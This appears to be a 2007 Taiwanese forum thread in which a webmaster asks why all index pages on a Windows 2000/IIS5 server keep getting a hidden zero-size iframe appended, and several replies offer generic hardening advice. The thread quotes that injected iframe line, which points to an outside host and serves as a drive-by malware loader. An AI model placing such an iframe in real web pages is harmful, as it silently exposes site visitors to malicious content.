我被駭了_請問這是什麼手法，如何防範？謝謝

三叉戟
個人積分：5分
文章編號：3046188

5分

樓主

2007-06-25 21:09

我的主機網頁被駭了
OS：WIN2000/IIS5
皆巳修補到最新
情況：
在wwwroot目錄下只要是有index.*的檔案皆被
在html原始碼的最後一行皆給你加上
＜iframe src=http://www.td-school.org.cn/book/past.htm width=0 height=0></iframe＞
才剛全部修改好，並且密碼全改過(20位英文數字混合)，隔不到一天又被駭了，快瘋了
請問這個是那裏有漏洞？如何防範？謝謝各位喔！

2007-06-25 21:09 發佈

文章關鍵字手法

Merlin01

Merlin01
個人積分：119分
文章編號：3046214

119分

2樓

2007-06-25 21:09

三叉戟 wrote:
我的主機網頁被駭了O...(恕刪)

木馬?
密碼被監聽?

三叉戟

三叉戟
個人積分：5分
文章編號：3046275

5分

樓主

2007-06-25 21:17

我的網頁大概有30、40個index.*的檔案(分散在不同目錄)
看被駭的時間幾乎在1分鐘內皆被改完(只有最後一行加上程式碼)
(我改回來就要半小時以上)
會不會是網路機器人幹的？
我也用spyboot和卡巴掃過了
還是被駭…

raytracy

raytracy
個人積分：1495分
文章編號：3046467

1495分

4樓

2007-06-25 21:48

對方是利用 W2K + IIS 本身既有的漏洞啦, 並不是在您的電腦裡植入什麼程式, 去掃毒是掃不出來的; 請上微軟去更新 IIS, 加強它的安全防護吧.....不過, 可能效果不大就是了, W2K+IIS 天生就容易被駭.....請參考:

http://www.google.com.tw/search?complete=1&hl=zh-TW&client=firefox&rls=org.mozilla%3Azh-TW%3Aofficial&hs=4lo&q=W2K+IIS5+%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E&btnG=%E6%90%9C%E5%B0%8B&meta=cr%3DcountryTW

vincent73

vincent73
個人積分：0分
文章編號：3046739

0分

5樓

2007-06-25 22:26

檢查一下
系統裡是不是已經暗藏不明的帳號
所有網頁檔案的存取權限設定是否恰當, 是否有不明的網頁程式
查閱 web log 是否有可疑的存取記錄
關閉不必要的服務
且建議至少要有簡單的防火牆擋在前面

k750iii

k750iii
個人積分：122分
文章編號：3047011

122分

6樓

2007-06-25 22:57

通常hack的途徑不外乎
1.破解密碼
2.植入木馬
3.鑽系統漏洞

1.你PW全都改過且又20幾個位數...基本上應該不是密碼破解入侵
2.還是要回歸基本，先檢查有無不明系統帳號、有無異常權限、有無異常的服務PORT被開啟...等
3.這是最有可能的...再怎樣強大的防火牆是擋不了系統本身的漏洞的，有錢的話換成最新的OS+web ap是最好的